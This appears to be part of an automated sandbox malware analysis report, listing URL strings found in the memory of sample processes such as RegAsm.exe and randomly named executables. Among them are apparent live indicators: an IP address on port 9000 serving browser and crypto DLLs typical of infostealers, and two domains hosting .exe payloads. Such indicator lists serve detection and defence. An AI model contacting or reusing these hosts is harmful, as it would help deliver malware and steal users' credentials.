Source: RegAsm.exe, 00000019.00000002.3431121000.0000000002B56000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 00000019.00000002.3431121000.0000000002A21000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/
Source: RegAsm.exe, 00000019.00000002.3431121000.0000000002B56000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/D
Source: RegAsm.exe, 00000019.00000002.3431121000.0000000002A21000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Ent
Source: RegAsm.exe, 00000019.00000002.3431121000.0000000002A21000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/
Source: RegAsm.exe, 00000019.00000002.3431121000.0000000002A21000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id1
Source: RegAsm.exe, 00000019.00000002.3431121000.0000000002A21000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id10
Source: RegAsm.exe, 00000019.00000002.3431121000.0000000002BC6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id10ResponseD
Source: RegAsm.exe, 00000019.00000002.3431121000.0000000002A21000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id10ResponseH
Source: RegAsm.exe, 00000019.00000002.3431121000.0000000002A21000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id11
Source: RegAsm.exe, 00000019.00000002.3431121000.0000000002A21000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id11ResponseH
Source: RegAsm.exe, 00000019.00000002.3431121000.0000000002A21000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id12
Source: RegAsm.exe, 00000019.00000002.3431121000.0000000002A21000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id12ResponseH
Source: RegAsm.exe, 00000019.00000002.3431121000.0000000002BD0000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 00000019.00000002.3431121000.0000000002A21000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id13
Source: RegAsm.exe, 00000019.00000002.3431121000.0000000002BC6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id13Response
Source: RegAsm.exe, 00000019.00000002.3431121000.0000000002BD0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id13ResponseD
Source: RegAsm.exe, 00000019.00000002.3431121000.0000000002A21000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id13ResponseH
Source: RegAsm.exe, 00000019.00000002.3431121000.0000000002A21000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id14
Source: RegAsm.exe, 00000019.00000002.3431121000.0000000002A21000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id14ResponseH
Source: RegAsm.exe, 00000019.00000002.3431121000.0000000002A21000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id15
Source: RegAsm.exe, 00000019.00000002.3431121000.0000000002A21000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id15ResponseH
Source: RegAsm.exe, 00000019.00000002.3431121000.0000000002A21000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id16
Source: RegAsm.exe, 00000019.00000002.3431121000.0000000002BD0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id16ResponseD
Source: RegAsm.exe, 00000019.00000002.3431121000.0000000002A21000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id16ResponseH
Source: RegAsm.exe, 00000019.00000002.3431121000.0000000002A21000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id17
Source: RegAsm.exe, 00000019.00000002.3431121000.0000000002BD0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id17ResponseD
Source: RegAsm.exe, 00000019.00000002.3431121000.0000000002A21000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id17ResponseH
Source: RegAsm.exe, 00000019.00000002.3431121000.0000000002A21000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id18
Source: RegAsm.exe, 00000019.00000002.3431121000.0000000002BD0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id18ResponseD
Source: RegAsm.exe, 00000019.00000002.3431121000.0000000002A21000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id18ResponseH
Source: RegAsm.exe, 00000019.00000002.3431121000.0000000002A21000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id19
Source: RegAsm.exe, 00000019.00000002.3431121000.0000000002BD0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id19ResponseD
Source: RegAsm.exe, 00000019.00000002.3431121000.0000000002A21000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id19ResponseH
Source: RegAsm.exe, 00000019.00000002.3431121000.0000000002B56000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id1Response
Source: RegAsm.exe, 00000019.00000002.3431121000.0000000002B56000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id1ResponseD
Source: RegAsm.exe, 00000019.00000002.3431121000.0000000002A21000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id1ResponseH
Source: RegAsm.exe, 00000019.00000002.3431121000.0000000002A21000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id2
Source: RegAsm.exe, 00000019.00000002.3431121000.0000000002A21000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id20
Source: RegAsm.exe, 00000019.00000002.3431121000.0000000002BD0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id20ResponseD
Source: RegAsm.exe, 00000019.00000002.3431121000.0000000002A21000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id20ResponseH
Source: RegAsm.exe, 00000019.00000002.3431121000.0000000002A21000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id21
Source: RegAsm.exe, 00000019.00000002.3431121000.0000000002A21000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id21ResponseH
Source: RegAsm.exe, 00000019.00000002.3431121000.0000000002A21000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id22
Source: RegAsm.exe, 00000019.00000002.3431121000.0000000002A21000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id22ResponseH
Source: RegAsm.exe, 00000019.00000002.3431121000.0000000002A21000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id23
Source: RegAsm.exe, 00000019.00000002.3431121000.0000000002A21000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id23ResponseH
Source: RegAsm.exe, 00000019.00000002.3431121000.0000000002A21000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id24
Source: RegAsm.exe, 00000019.00000002.3431121000.0000000002A21000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id24ResponseH
Source: RegAsm.exe, 00000019.00000002.3431121000.0000000002B56000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id2ResponseD
Source: RegAsm.exe, 00000019.00000002.3431121000.0000000002A21000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id2ResponseH
Source: RegAsm.exe, 00000019.00000002.3431121000.0000000002A21000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id3
Source: RegAsm.exe, 00000019.00000002.3431121000.0000000002A21000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id3ResponseH
Source: RegAsm.exe, 00000019.00000002.3431121000.0000000002B56000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 00000019.00000002.3431121000.0000000002A21000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id4
Source: RegAsm.exe, 00000019.00000002.3431121000.0000000002B56000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id4ResponseD
Source: RegAsm.exe, 00000019.00000002.3431121000.0000000002A21000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id4ResponseH
Source: RegAsm.exe, 00000019.00000002.3431121000.0000000002A21000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id5
Source: RegAsm.exe, 00000019.00000002.3431121000.0000000002A21000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id5ResponseH
Source: RegAsm.exe, 00000019.00000002.3431121000.0000000002A21000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id6
Source: RegAsm.exe, 00000019.00000002.3431121000.0000000002A21000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id6ResponseH
Source: RegAsm.exe, 00000019.00000002.3431121000.0000000002A21000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id7
Source: RegAsm.exe, 00000019.00000002.3431121000.0000000002A21000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id7ResponseH
Source: RegAsm.exe, 00000019.00000002.3431121000.0000000002A21000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id8
Source: RegAsm.exe, 00000019.00000002.3431121000.0000000002A21000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id8ResponseH
Source: RegAsm.exe, 00000019.00000002.3431121000.0000000002A21000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id9
Source: RegAsm.exe, 00000019.00000002.3431121000.0000000002B56000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id9Response
Source: RegAsm.exe, 00000019.00000002.3431121000.0000000002A21000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id9ResponseH
Source: cWSgbiiWuHkrGD6e9Bvvb03z.exe, 0000000B.00000000.2582436692.0000000000943000.00000002.00000001.01000000.00000008.sdmp	String found in binary or memory: http://www.digicert.com/CPS0
Source: TrIR3OjzF5zT6wur9yJ59R0V.exe, 00000015.00000002.3350644309.00000268C3011000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.gzip.org/zlib/rfc-gzip.html
Source: FXnrFSfIY3onUvtSB3cuKesF.tmp, 00000024.00000000.2716994041.0000000000401000.00000020.00000001.01000000.0000001A.sdmp	String found in binary or memory: http://www.innosetup.com/
Source: FXnrFSfIY3onUvtSB3cuKesF.exe, 00000012.00000003.2599128692.0000000001FC1000.00000004.00001000.00020000.00000000.sdmp, FXnrFSfIY3onUvtSB3cuKesF.exe, 00000012.00000003.2599057452.00000000022B0000.00000004.00001000.00020000.00000000.sdmp, FXnrFSfIY3onUvtSB3cuKesF.exe, 00000012.00000002.3396324001.0000000001FC1000.00000004.00001000.00020000.00000000.sdmp, FXnrFSfIY3onUvtSB3cuKesF.tmp, 00000024.00000003.2724805504.0000000003100000.00000004.00001000.00020000.00000000.sdmp, FXnrFSfIY3onUvtSB3cuKesF.tmp, 00000024.00000002.3398410103.0000000000830000.00000004.00000020.00020000.00000000.sdmp, FXnrFSfIY3onUvtSB3cuKesF.tmp, 00000024.00000002.3402042090.00000000021A8000.00000004.00001000.00020000.00000000.sdmp, FXnrFSfIY3onUvtSB3cuKesF.tmp, 00000024.00000003.2724877822.00000000021A8000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.mpegla.com
Source: FXnrFSfIY3onUvtSB3cuKesF.tmp, 00000024.00000000.2716994041.0000000000401000.00000020.00000001.01000000.0000001A.sdmp	String found in binary or memory: http://www.remobjects.com/ps
Source: FXnrFSfIY3onUvtSB3cuKesF.tmp, 00000024.00000000.2716994041.0000000000401000.00000020.00000001.01000000.0000001A.sdmp	String found in binary or memory: http://www.remobjects.com/psU
Source: RegAsm.exe, 0000001E.00000002.3605946905.000000001C4FD000.00000002.00001000.00020000.00000000.sdmp, RegAsm.exe, 0000001E.00000002.3493610284.0000000016559000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.sqlite.org/copyright.html.
Source: RegAsm.exe, 0000001E.00000002.3391212061.0000000000435000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000001E.00000002.3402168872.000000000164E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.valvesoftware.com/legal.htm
Source: lrPP7Py6j59vWWqs5P8cBSO1.exe, 00000007.00000002.3395350920.0000000000515000.00000002.00000001.01000000.00000007.sdmp, pnUE3Ri3AJFo6xuNgBEk3Rs_.exe, 00000008.00000002.3395015295.0000000000515000.00000002.00000001.01000000.0000000A.sdmp, tDrDIT3EJ93dpzmmxTIMr4ah.exe, 0000000D.00000002.3395848430.0000000000516000.00000002.00000001.01000000.0000000F.sdmp, smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000002.3395244504.0000000000B11000.00000040.00000001.01000000.0000000E.sdmp, 9AzlS7F3tYa6PD9PpLcR316P.exe, 00000014.00000002.3398241309.0000000000CFF000.00000002.00000001.01000000.00000013.sdmp, 9AzlS7F3tYa6PD9PpLcR316P.exe, 00000014.00000003.2920616279.0000000000B60000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.winimage.com/zLibDll
Source: lrPP7Py6j59vWWqs5P8cBSO1.exe, 00000007.00000002.3395350920.0000000000515000.00000002.00000001.01000000.00000007.sdmp, pnUE3Ri3AJFo6xuNgBEk3Rs_.exe, 00000008.00000002.3395015295.0000000000515000.00000002.00000001.01000000.0000000A.sdmp, tDrDIT3EJ93dpzmmxTIMr4ah.exe, 0000000D.00000002.3395848430.0000000000516000.00000002.00000001.01000000.0000000F.sdmp	String found in binary or memory: http://www.winimage.com/zLibDllDpRTpR
Source: RegAsm.exe, 0000001E.00000002.3402168872.000000000162A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://95.217.245.42/
Source: RegAsm.exe, 0000001E.00000002.3402168872.000000000162A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://95.217.245.42/2
Source: RegAsm.exe, 0000001E.00000002.3402168872.000000000164E000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000001E.00000002.3391212061.0000000000606000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://95.217.245.42:9000
Source: RegAsm.exe, 0000001E.00000002.3402168872.000000000164E000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000001E.00000002.3402168872.00000000015F7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://95.217.245.42:9000/
Source: RegAsm.exe, 0000001E.00000002.3402168872.000000000164E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://95.217.245.42:9000/&B
Source: RegAsm.exe, 0000001E.00000002.3402168872.000000000164E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://95.217.245.42:9000/B
Source: RegAsm.exe, 0000001E.00000002.3391212061.0000000000606000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://95.217.245.42:9000/freebl3.dll
Source: RegAsm.exe, 0000001E.00000002.3402168872.000000000164E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://95.217.245.42:9000/freebl3.dll4
Source: RegAsm.exe, 0000001E.00000002.3402168872.000000000173B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://95.217.245.42:9000/h
Source: RegAsm.exe, 0000001E.00000002.3402168872.000000000164E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://95.217.245.42:9000/hKp
Source: RegAsm.exe, 0000001E.00000002.3391212061.000000000056C000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://95.217.245.42:9000/ing
Source: RegAsm.exe, 0000001E.00000002.3391212061.000000000056C000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://95.217.245.42:9000/l
Source: RegAsm.exe, 0000001E.00000002.3391212061.000000000056C000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000001E.00000002.3402168872.000000000164E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://95.217.245.42:9000/mozglue.dll
Source: RegAsm.exe, 0000001E.00000002.3402168872.000000000159A000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000001E.00000002.3391212061.000000000056C000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000001E.00000002.3402168872.000000000164E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://95.217.245.42:9000/msvcp140.dll
Source: RegAsm.exe, 0000001E.00000002.3391212061.000000000056C000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://95.217.245.42:9000/msvcp140.dllEdge
Source: RegAsm.exe, 0000001E.00000002.3402168872.000000000164E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://95.217.245.42:9000/nss3.dll
Source: RegAsm.exe, 0000001E.00000002.3402168872.000000000164E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://95.217.245.42:9000/nss3.dll%
Source: RegAsm.exe, 0000001E.00000002.3402168872.0000000001712000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://95.217.245.42:9000/nss3.dllN
Source: RegAsm.exe, 0000001E.00000002.3391212061.000000000056C000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://95.217.245.42:9000/nss3.dlloft
Source: RegAsm.exe, 0000001E.00000002.3402168872.000000000164E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://95.217.245.42:9000/nss3.dllr
Source: RegAsm.exe, 0000001E.00000002.3402168872.0000000001712000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000001E.00000002.3402168872.000000000173B000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000001E.00000002.3391212061.000000000056C000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000001E.00000002.3402168872.000000000164E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://95.217.245.42:9000/softokn3.dll
Source: RegAsm.exe, 0000001E.00000002.3391212061.000000000056C000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://95.217.245.42:9000/softokn3.dllEdge
Source: RegAsm.exe, 0000001E.00000002.3402168872.000000000164E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://95.217.245.42:9000/softokn3.dllF_B
Source: RegAsm.exe, 0000001E.00000002.3391212061.0000000000528000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000001E.00000002.3402168872.000000000164E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://95.217.245.42:9000/sqlx.dll
Source: RegAsm.exe, 0000001E.00000002.3402168872.000000000164E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://95.217.245.42:9000/sqlx.dllk
Source: RegAsm.exe, 0000001E.00000002.3402168872.000000000164E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://95.217.245.42:9000/vCL
Source: RegAsm.exe, 0000001E.00000002.3402168872.000000000164E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://95.217.245.42:9000/vcruntime140.dll
Source: RegAsm.exe, 0000001E.00000002.3391212061.000000000056C000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://95.217.245.42:9000/vcruntime140.dll_7)
Source: RegAsm.exe, 0000001E.00000002.3402168872.000000000164E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://95.217.245.42:9000/vcruntime140.dllet
Source: RegAsm.exe, 0000001E.00000002.3402168872.000000000164E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://95.217.245.42:9000/vcruntime140.dllpet
Source: RegAsm.exe, 0000001E.00000002.3402168872.000000000164E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://95.217.245.42:9000/~CD
Source: RegAsm.exe, 0000001E.00000002.3391212061.0000000000435000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://95.217.245.42:900077d73gle
Source: RegAsm.exe, 0000001E.00000002.3391212061.000000000056C000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://95.217.245.42:900077d73rosoft
Source: RegAsm.exe, 0000001E.00000002.3391212061.000000000056C000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000001E.00000002.3391212061.0000000000606000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://95.217.245.42:9000al
Source: RegAsm.exe, 0000001E.00000002.3391212061.000000000056C000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://95.217.245.42:9000el
Source: RegAsm.exe, 0000001E.00000002.3391212061.000000000056C000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://95.217.245.42:9000ming
Source: RegAsm.exe, 0000001E.00000002.3391212061.0000000000435000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://95.217.245.42:9000vcruntime140.dll_7)
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000003.3337993005.00000000018FE000.00000004.00000020.00020000.00000000.sdmp, smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000003.3293078281.00000000018EF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: MSBuild.exe, 00000021.00000002.2873629498.0000000002F69000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.ip.s
Source: MSBuild.exe, 00000021.00000002.2873629498.0000000002F69000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.ip.sb/ip
Source: 9AzlS7F3tYa6PD9PpLcR316P.exe, 00000014.00000002.3401785984.0000000001337000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.myip.com/
Source: 9AzlS7F3tYa6PD9PpLcR316P.exe, 00000014.00000002.3401785984.0000000001337000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.myip.com:443/
Source: RegAsm.exe, 0000001E.00000002.3402168872.000000000164E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://avatars.cloudflare.steamstatic.com/fef49e7fa7e1997310d705b2a6158ff8dc1cdfeb_full.jpg
Source: tZvjMg3Hw9.exe, 00000000.00000003.2190482787.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2202746021.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2223509858.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2224191644.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2200495719.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2225619807.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2209752044.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2222944513.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2231089447.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2197715382.0000000002B42000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://carthewasher.net/
Source: tZvjMg3Hw9.exe, 00000000.00000003.2202746021.0000000002B2B000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2200495719.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2202651427.00000000040CE000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2209752044.0000000002B42000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://carthewasher.net/29d6e50767cda8c52446163cd5125b9a/cad54ba5b01423b1af8ec10ab5719d97.exe
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000003.3337993005.00000000018FE000.00000004.00000020.00020000.00000000.sdmp, smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000003.3293078281.00000000018EF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000003.3343215406.00000000076AB000.00000004.00000020.00020000.00000000.sdmp, smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000003.3337993005.00000000018FE000.00000004.00000020.00020000.00000000.sdmp, smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000003.3293078281.00000000018EF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000003.3343215406.00000000076AB000.00000004.00000020.00020000.00000000.sdmp, smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000003.3337993005.00000000018FE000.00000004.00000020.00020000.00000000.sdmp, smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000003.3293078281.00000000018EF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: tZvjMg3Hw9.exe, 00000000.00000003.2197715382.0000000002B42000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cheremushki.net/
Source: tZvjMg3Hw9.exe, 00000000.00000003.2190482787.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2202746021.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2200495719.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2197715382.0000000002B42000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cheremushki.net//
Source: tZvjMg3Hw9.exe, 00000000.00000003.2202746021.0000000002B3A000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2196054072.00000000040DA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cheremushki.net/29d6e50767cda8c52446163cd5125b9a/7725eaa6592c80f8124e769b4e8a07f7.exe
Source: tZvjMg3Hw9.exe, 00000000.00000003.2190482787.0000000002B42000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cheremushki.net/der
Source: RegAsm.exe, 00000019.00000002.3431121000.0000000002C88000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://clients2.google.com/cr/report
Source: RegAsm.exe, 0000001E.00000002.3391212061.0000000000435000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000001E.00000002.3402168872.0000000001621000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000001E.00000002.3402168872.000000000164E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/css/applications/community/main.css?v=tIrWyaxi8A
Source: RegAsm.exe, 0000001E.00000002.3391212061.0000000000435000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000001E.00000002.3402168872.000000000164E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/css/globalv2.css?v=pwVcIAtHNXwg&l=english&am
Source: RegAsm.exe, 0000001E.00000002.3391212061.0000000000435000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000001E.00000002.3402168872.000000000164E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/css/promo/summer2017/stickers.css?v=bZKSp7oNwVPK
Source: RegAsm.exe, 0000001E.00000002.3391212061.0000000000435000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000001E.00000002.3402168872.000000000164E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/css/skin_1/header.css?v=vh4BMeDcNiCU&l=engli
Source: RegAsm.exe, 0000001E.00000002.3391212061.0000000000435000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000001E.00000002.3402168872.000000000164E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/css/skin_1/modalContent.css?v=.TP5s6TzX6LLh&
